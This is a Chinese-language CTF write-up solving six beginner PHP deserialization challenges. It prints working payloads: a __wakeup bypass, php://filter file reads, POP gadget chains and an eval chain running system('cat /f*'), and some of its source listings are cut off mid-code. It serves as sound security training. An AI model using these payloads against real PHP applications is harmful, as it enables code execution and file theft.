【Web】PHP反序列化（入门）相关例题wp

目录

①[SWPUCTF 2021 新生赛]ez_unserialize

②[SWPUCTF 2021 新生赛]no_wakeup 

③[ZJCTF 2019]NiZhuanSiWei

④[SWPUCTF 2021 新生赛]pop

 ⑤[HUBUCTF 2022 新生赛]checkin

⑥[MoeCTF 2021]unserialize

---

入门，入门，本文只记录入门题！！！！！

（进阶一点的后面会搞的）

①[SWPUCTF 2021 新生赛]ez_unserialize

进来先是无聊的八股

访问看到源码

贴出payload，太简单了不解释

$a=new wllm();
$a->admin="admin";
$a->passwd="ctf";
echo serialize($a);

②[SWPUCTF 2021 新生赛]no_wakeup 

题目暗示简单粗暴，一个绕过__wakeup的小trick

$a=new HaHaHa();
$a->admin="admin";
$a->passwd="wllm";
echo serialize($a);
//O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

php的特性，当序列化后对象的参数列表中成员个数和实际个数不符合时会绕过 __weakup();

然后因为要绕个__wakeup嘛，

最终payload:?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

③[ZJCTF 2019]NiZhuanSiWei

简单审一下，都是套路，不解释，直接贴payload

?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php

 base64解码得

file)){  
            echo file_get_contents($this->file); 
            echo "
";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

很简单的反序列化，其实就是利用echo触发__tostring

贴出payload:

$a=new Flag();
$a->file="php://filter/convert.base64-encode/resource=flag.php";
echo serialize($a);
//O:4:"Flag":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";} 

 最终payload:

?text=data://text/plain,welcome to the zjctf&
file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}  

base64解码即可获得flag

④[SWPUCTF 2021 新生赛]pop

进来就看到源码

 admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?> 

一眼pop链， 掏出记事本开始写链子

w22m::__destruct -> w33m::__toString -> w44m Getflag()

构造：

w00m=$b;
$b->w00m=$c;
$b->w22m="Getflag()";

echo serialize($a);
echo "\n";
echo urlencode(serialize($a));

(若不进行url编码，私有和保护属性的部分，存在不可见字符) 

最终payload:

?w00m=O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D

 ⑤[HUBUCTF 2022 新生赛]checkin

这题很有意思，要反过来思考

info传进去的经过反序列化后要是一个数组，且满足if条件
 

"this_is_secret","password"=>"this_is_not_known_to_you");
$aa=serialize($a);
echo $aa;
//a:2:{s:8:"username";s:14:"this_is_secret";s:8:"password";s:24:"this_is_not_known_to_you";}

 ?info=a:2:{s:8:"username";s:14:"this_is_secret";s:8:"password";s:24:"this_is_not_known_to_you";}

传进去发现没回显

（抬头发现注释：//here I changed those two,得，上弱比较）

0,"password"=>0);
$aa=serialize($a);
echo $aa;

//a:2:{s:8:"username";i:0;s:8:"password";i:0;}

最终payload:

?info=a:2:{s:8:"username";i:0;s:8:"password";i:0;}

⑥[MoeCTF 2021]unserialize

贴出源码先：

 start = $start;
    }

    function __destruct()
    {
        $this->start->helloworld();
    }
}

class springboard
{
    public $middle;

    function __call($name, $arguments)
    {
        echo $this->middle->hs;
    }
}

class evil
{
    public $end;

    function __construct($end)
    {
        $this->end = $end;
    }

    function __get($Attribute)
    {
        eval($this->end);
    }
}

if(isset($_GET['serialize'])) {
    unserialize($_GET['serialize']);
} else {
    highlight_file(__FILE__);
} 

 掏出记事本秒搓链子

entrance::__construct -> start::__destruct -> springboard::__call -> evil::__construct|__get

$b=new springboard();
$c=new evil("system('cat /f*');");
$a=new entrance();
$a->start=$b;
$b->middle=$c;

echo serialize($a);
//O:8:"entrance":1:{s:5:"start";O:11:"springboard":1:{s:6:"middle";O:4:"evil":1:{s:3:"end";s:18:"system('cat /f*');";}}}

 payload:

?serialize=O:8:"entrance":1:{s:5:"start";O:11:"springboard":1:{s:6:"middle";O:4:"evil":1:{s:3:"end";s:18:"system('cat /f*');";}}}

过于简单，没啥好说